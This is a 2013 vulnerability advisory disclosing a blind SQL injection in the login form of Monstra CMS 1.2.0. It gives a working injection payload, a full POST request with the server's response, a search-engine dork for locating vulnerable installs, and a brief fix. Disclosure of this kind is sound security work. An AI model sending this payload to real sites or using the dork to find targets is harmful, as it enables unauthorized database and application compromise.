Report-Timeline: ================ 2013-09-20: Public Disclosure (linc0ln.dll) Status: ======== Published Affected Products: ================== Sergey Romanenko Product: Monstra Content Management System 1.2.0 Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== A blind SQL Injection web vulnerability is detected in the official Monstra v1.2.0 Content Management System. The vulnerability allows remote attackers to inject own sql commands to compromise the vulnerable application dbms. The blind sql injection web vulnerability is located in the login submit (POST) module. Attackers are able to inject own sql commands by manipulation of the the `login id` parameter. Exploitation of the blind sql vulnerability does not require user interaction or a privileged application user account. Successful exploitation of the sql injection vulnerability results in database management system & application compromise. Vulnerable Module(s): [+] Admin Auth (./admin) Vulnerable Parameter(s): [+] login Proof of Concept: ================= The blind sql injection web vulnerability can be exploited by remote attackers without privileged application user account and user interaction. For demonstration or reproduce ... Example: POST login=[SQL INJECTION]&login_submit=Enter&password=[x] PoC: POST login=-1' or 85 = '83&login_submit=Enter&password=lincoln.dll POST Request: POST /admin/ HTTP/1.1 Content-Length: 72 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Cookie: PHPSESSID=f6bd4782f77e4027d3975d32c414a36d Host: XXX Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept: */* login=-1' or 85 = '83&login_submit=Enter&password=lincoln.dll Server Response: HTTP/1.1 200 OK Date: Thu, 19 Sep 2013 14:27:25 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 4456 Goole Dork(s): "Powered by Monstra 1.2.0" Solution: ========= The vulnerability can be patched by a secure escaping the login input via POST request method.
